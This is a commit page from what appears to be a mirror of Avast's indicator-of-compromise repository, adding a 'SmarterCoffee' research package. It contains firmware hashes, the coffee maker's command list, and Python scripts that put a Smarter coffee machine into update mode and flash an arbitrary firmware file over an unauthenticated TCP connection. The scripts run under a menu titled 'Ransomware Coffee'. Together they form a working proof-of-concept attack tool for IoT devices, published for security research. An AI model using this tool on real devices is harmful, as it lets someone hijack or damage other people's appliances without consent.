mirror of https://github.com/avast/ioc
SmarterCoffee initial commit
This commit is contained in:
parent
fdd9d5d7d5
commit
6dd178181f
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,6 @@
|
|||
## firmware SHA256 as found in Android application versions
|
||||
|
||||
1eff6702b158b1554284f3ef6eb9d05748f43ba353d60954f21c6f20fd71e6ce binaryfile_coffee.3.1.0.bin
|
||||
650a7bc7a55162988c77df34235c8e87eda9c8e2fcecd72b74c5f69e3edd088c binaryfile_coffee.3.2.1.bin
|
||||
650a7bc7a55162988c77df34235c8e87eda9c8e2fcecd72b74c5f69e3edd088c binaryfile_coffee.3.2.3.bin
|
||||
650a7bc7a55162988c77df34235c8e87eda9c8e2fcecd72b74c5f69e3edd088c binaryfile_coffee.3.2.5.bin
|
|
@ -0,0 +1,31 @@
|
|||
MD 0x02 - Device time
|
||||
CMD 0x05 - Wifi network
|
||||
CMD 0x07 - Wifi password
|
||||
CMD 0x0B
|
||||
CMD 0x0C - Wifi Join
|
||||
CMD 0x0D - List of visible AP
|
||||
CMD 0x0F - Wifi Leave
|
||||
CMD 0x10 - Reset settings
|
||||
CMD 0x33 - Brew
|
||||
CMD 0x34 - Coffee stop
|
||||
CMD 0x35 - Coffee strength
|
||||
CMD 0x36 - Cups
|
||||
CMD 0x37 - Brew Default
|
||||
CMD 0x38 - Coffee store settings
|
||||
CMD 0x3C - Grinder
|
||||
CMD 0x3E - Hotplate On
|
||||
CMD 0x3F
|
||||
CMD 0x40 - Store Timer
|
||||
CMD 0x41 - Timers
|
||||
CMD 0x43 - Disable Timer
|
||||
CMD 0x46 - Coffee History
|
||||
CMD 0x48 - Coffee Settings
|
||||
CMD 0x4A - Hotplate Off
|
||||
CMD 0x4B - Set Carafe
|
||||
CMD 0x4C - Carafe
|
||||
CMD 0x4E - Set mode
|
||||
CMD 0x4F - Model
|
||||
CMD 0x64 - Device info - used to check firmware version
|
||||
CMD 0x69 - Set Wifi Power?
|
||||
CMD 0x6A - Wifi firmware version
|
||||
CMD 0x6D - Firmware update sta
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,38 @@
|
|||
import yaml
|
||||
import os
|
||||
|
||||
class YamlConfig(object):
|
||||
|
||||
def __init__(self, configfile):
|
||||
self.configfile = configfile
|
||||
self.__cfg = None
|
||||
|
||||
|
||||
def __open(self):
|
||||
try:
|
||||
with open(self.configfile, "r") as inp:
|
||||
self.__cfg = yaml.load(inp)
|
||||
return 0
|
||||
except IOError:
|
||||
return 1
|
||||
except yaml.YAMLError,e:
|
||||
print "YAML error" + str(e)
|
||||
return 2
|
||||
|
||||
# get config value as path to it
|
||||
def get(self, path, default=None):
|
||||
|
||||
if not self.__cfg:
|
||||
if self.__open() != 0:
|
||||
assert(False)
|
||||
|
||||
components = path.split('/')
|
||||
r = self.__cfg
|
||||
|
||||
for c in components:
|
||||
if c in r.keys():
|
||||
r = r[c]
|
||||
else:
|
||||
return default
|
||||
return r
|
||||
|
|
@ -0,0 +1,146 @@
|
|||
#!/usr/bin/python2.7
|
||||
|
||||
import socket,sys,time,logging
|
||||
|
||||
|
||||
|
||||
|
||||
class easy_smarter():
|
||||
|
||||
|
||||
def __init__(self, ip='192.168.4.1', port = 2081):
|
||||
self.ip = ip
|
||||
self.port = port
|
||||
self.sock = None
|
||||
|
||||
def connect(self):
|
||||
# create an ipv4 (AF_INET) socket object using the tcp protocol (SOCK_STREAM)
|
||||
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
try:
|
||||
self.sock.settimeout(3)
|
||||
# connect the client
|
||||
self.sock.connect((self.ip, self.port))
|
||||
self.sock.settimeout(.5) # 5 seconds. Set this after connecting.
|
||||
return True
|
||||
except Exception,e:
|
||||
logging.warning("Could not connect %s" %(str(e)))
|
||||
return False
|
||||
|
||||
def read_data(self):
|
||||
resp = bytearray()
|
||||
timeout = 10
|
||||
while True:
|
||||
try:
|
||||
response = self.sock.recv(4096)
|
||||
resp.extend(bytearray(response))
|
||||
if resp[len(resp)-1]==0x7E:
|
||||
return resp
|
||||
except socket.timeout as exc:
|
||||
logging.warning('timed out waiting for data')
|
||||
timeout -=1
|
||||
if timeout<=0:
|
||||
return bytearray()
|
||||
|
||||
def send_command(self, indata, waitforresponse = True):
|
||||
self.sock.send(bytearray(indata))
|
||||
if waitforresponse:
|
||||
return self.read_data()
|
||||
else:
|
||||
return bytearray()
|
||||
|
||||
def upload_firmware(self, filename, display = sys.stdout.write):
|
||||
fw = None
|
||||
total =0
|
||||
try:
|
||||
# try to open firmware file
|
||||
fw = open(filename,"rb")
|
||||
fw.seek(0,2)
|
||||
total = fw.tell()/256
|
||||
if (fw.tell()%256)>0:
|
||||
total+=1
|
||||
fw.seek(0)
|
||||
except Exception, e:
|
||||
logging.error("Could not load firmware from file %s ", str(e))
|
||||
return False
|
||||
|
||||
display ("> Sending lead-in packet\n")
|
||||
self.send_command([0x6E, 0x7E], True)
|
||||
|
||||
crc = 0
|
||||
block =0
|
||||
result=0
|
||||
display ("> Starting update of %d blocks 256 bytes each\n" %(total))
|
||||
# read chunks of 256 bytes and construct a packet
|
||||
while True:
|
||||
retry = 5
|
||||
chunk = bytearray(fw.read(256))
|
||||
if not chunk:
|
||||
break
|
||||
#chunks are always of size of 256
|
||||
chunk.extend( bytearray([0]*(256-len(chunk))) )
|
||||
# now for each chunk compute 'CRC'
|
||||
for i in range(256):
|
||||
crc = (crc + chunk[i]) % 0xFFFFFFFF
|
||||
|
||||
# retry loop
|
||||
while True:
|
||||
size = len(chunk)
|
||||
packet = bytearray()
|
||||
packet.extend(bytearray([0x6f, block+1, (size>>8) & 0xff, (size) & 0xff, 0x7d]))
|
||||
packet.extend(chunk)
|
||||
packet.extend(bytearray([0x7e,0x7e,0x7e]))
|
||||
|
||||
res = self.send_command(packet)
|
||||
|
||||
# respond packet should always end like this
|
||||
result = 0
|
||||
if len(res)==3 and res[2]==0x7E:
|
||||
major = res[0]
|
||||
if major==3:
|
||||
result = res[1]
|
||||
else:
|
||||
result = res[0]<<4 & res[1]
|
||||
|
||||
if result!=1:
|
||||
retry-=1
|
||||
if retry>0:
|
||||
time.sleep(1)
|
||||
continue
|
||||
display("\nError writing page no. %d\n" % (block+1))
|
||||
break
|
||||
#
|
||||
if block%4==0 and result==1:
|
||||
display(".")
|
||||
if result==1:
|
||||
break
|
||||
#sys.stdout.write("sending page %d of %d " %(block+1, total))
|
||||
if result!=1:
|
||||
break
|
||||
block +=1
|
||||
|
||||
print "\n"
|
||||
if result==1:
|
||||
time.sleep(1)
|
||||
# sending CRC and closing block
|
||||
res = self.send_command([0x70, (crc>>24) & 0xFF, (crc>>16) & 0xFF,(crc>>8) & 0xFF, crc & 0xFF, 0x7E], True)
|
||||
|
||||
|
||||
|
||||
if len(res)==3 and res[2]==0x7E:
|
||||
major = res[0]
|
||||
if major==3:
|
||||
result = res[1]
|
||||
else:
|
||||
result = res[0]<<4 & res[1]
|
||||
if result==1:
|
||||
display("\nUpdate complete!\n")
|
||||
else:
|
||||
display ("\nError finishing firmware %d.\n" % (result))
|
||||
else:
|
||||
display ("\nError writing firmware %d.\n" %(result))
|
||||
return result
|
||||
|
||||
|
||||
def disconnect(self):
|
||||
self.sock.close()
|
Binary file not shown.
|
@ -0,0 +1,4 @@
|
|||
coffeemaker:
|
||||
id: "5b"
|
||||
normalssid: "Smarter Coffee"
|
||||
updatessid: "Smarter Coffee Update"
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,3 @@
|
|||
progressbar2
|
||||
console-menu
|
||||
pyaml
|
|
@ -0,0 +1,168 @@
|
|||
# Smarter Coffe Maker firmware updater
|
||||
# Brought to you by @thinkcz
|
||||
|
||||
# Import the necessary packages
|
||||
import subprocess
|
||||
import os
|
||||
import sys
|
||||
import site
|
||||
from consolemenu import *
|
||||
from consolemenu.items import *
|
||||
|
||||
cfg = None
|
||||
|
||||
menu = None
|
||||
|
||||
COFFEEMAKERID = "5b" #5b
|
||||
WIFI_INTERFACE = "en0"
|
||||
FIRMWARE = "data/firmware.bin"
|
||||
NORMALSSID = "Smarter Coffee:" + COFFEEMAKERID
|
||||
UPDATESSID = "Smarter Coffee Update:" + COFFEEMAKERID
|
||||
|
||||
|
||||
|
||||
|
||||
def update_wifi_info(mn):
|
||||
mn.prologue_text = "Actual WiFi connected: [%s]" % (get_current_ssid())
|
||||
|
||||
# needs to be updated according platform (this is OSX implementation)
|
||||
def get_current_ssid():
|
||||
res = subprocess.check_output(['networksetup', '-getairportnetwork', WIFI_INTERFACE]).strip()
|
||||
if res == "" or res == None:
|
||||
return ""
|
||||
else:
|
||||
return res[res.find(':') + 1:].strip()
|
||||
|
||||
# needs to be updated according platform (this is OSX implementation)
|
||||
def change_ssid(ssid):
|
||||
if (get_current_ssid() == ssid):
|
||||
return True
|
||||
res = subprocess.check_output(['networksetup', '-setairportnetwork', WIFI_INTERFACE , ssid]).strip()
|
||||
if res == "" or res == None:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def change_ssid_tries(ssid, x):
|
||||
sys.stdout.write("Trying to change to the wireless network [ %s ]" % (ssid))
|
||||
for i in range(x):
|
||||
sys.stdout.write(".")
|
||||
if change_ssid(ssid):
|
||||
sys.stdout.write("\n")
|
||||
update_wifi_info(menu)
|
||||
return True
|
||||
sys.stdout.write("\n")
|
||||
return False
|
||||
|
||||
|
||||
def stage1():
|
||||
|
||||
if not change_ssid_tries(NORMALSSID, 10):
|
||||
print FAIL + "Can't connect to [ %s ]! Enter to continue" % (NORMALSSID) + ENDC
|
||||
raw_input()
|
||||
return ""
|
||||
|
||||
print "Starting update mode, there will be no return code!"
|
||||
|
||||
es = easy_smarter()
|
||||
for tries in range(10):
|
||||
if es.connect():
|
||||
es.send_command([0x6D, 0x7E])
|
||||
print "Done, check coffee machine and connect to update network, press Enter to continue."
|
||||
es.disconnect()
|
||||
raw_input()
|
||||
return ""
|
||||
time.sleep(1)
|
||||
|
||||
print "Could not connect to Coffee maker. Enter to continue"
|
||||
|
||||
raw_input()
|
||||
return ""
|
||||
|
||||
|
||||
|
||||
def stage2():
|
||||
if not change_ssid_tries(UPDATESSID, 10):
|
||||
print FAIL + "Can't connect to [ %s ]! Enter to continue" % (UPDATESSID) + ENDC
|
||||
raw_input()
|
||||
return ""
|
||||
|
||||
print "Starting update mode, upload firmware."
|
||||
|
||||
es = easy_smarter()
|
||||
for tries in range(10):
|
||||
if es.connect():
|
||||
es.disconnect()
|
||||
break
|
||||
time.sleep(1)
|
||||
|
||||
|
||||
es = easy_smarter()
|
||||
if es.connect():
|
||||
es.upload_firmware(FIRMWARE)
|
||||
print "Done, check coffee machine and re-connect to normal network, press Enter to continue."
|
||||
es.disconnect()
|
||||
else:
|
||||
print "Could not connect to Coffee maker. Enter to continue"
|
||||
raw_input()
|
||||
return ""
|
||||
|
||||
#-------------------------------- main ------------------------------
|
||||
if __name__ == "__main__":
|
||||
# Create the menu
|
||||
menu = ConsoleMenu("Ransomware Coffee", "demo by THiNK of AwesomeBlue")
|
||||
|
||||
# get absoluthe path of script
|
||||
scriptpath = os.path.dirname(os.path.abspath(__file__))
|
||||
# root for imports
|
||||
site.addsitedir(os.path.join(scriptpath, 'bin'))
|
||||
# import
|
||||
from config import *
|
||||
# try to open main config
|
||||
print os.path.join(scriptpath, 'cfg', 'config.yaml')
|
||||
cfg = YamlConfig(os.path.join(scriptpath, 'cfg', 'config.yaml'))
|
||||
|
||||
|
||||
# load config
|
||||
#
|
||||
#
|
||||
#
|
||||
COFFEEMAKERID = cfg.get("coffeemaker/id",COFFEEMAKERID)
|
||||
WIFI_INTERFACE = cfg.get("server/wifiinterface",WIFI_INTERFACE)
|
||||
FIRMWARE = cfg.get("coffeemaker/firmware",FIRMWARE)
|
||||
NORMALSSID = cfg.get("coffeemaker/normalssid", NORMALSSID ) + ":" +COFFEEMAKERID
|
||||
UPDATESSID = cfg.get("coffeemaker/updatessid", UPDATESSID ) + ":" +COFFEEMAKERID
|
||||
|
||||
|
||||
# override config value if file being specified on command line
|
||||
if len(sys.argv)==2:
|
||||
FIRMWARE = sys.argv[1]
|
||||
|
||||
|
||||
update_wifi_info(menu)
|
||||
# Create some items
|
||||
|
||||
|
||||
# A FunctionItem runs a Python function when selected
|
||||
item1 = FunctionItem("Stage: turn maker into update mode", stage1)
|
||||
|
||||
# A CommandItem runs a console command
|
||||
item2 = FunctionItem("Stage: upload firmware", stage2)
|
||||
|
||||
|
||||
|
||||
menu.append_item(item1)
|
||||
menu.append_item(item2)
|
||||
|
||||
# get absoluthe path of script
|
||||
scriptpath = os.path.dirname(os.path.abspath(__file__))
|
||||
# root for imports
|
||||
site.addsitedir(os.path.join(scriptpath, 'src'))
|
||||
|
||||
# lazy imports
|
||||
from easy_smarter import *
|
||||
|
||||
|
||||
|
||||
# Finally, we call show to show the menu and allow the user to interact
|
||||
menu.show()
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Loading…
Reference in New Issue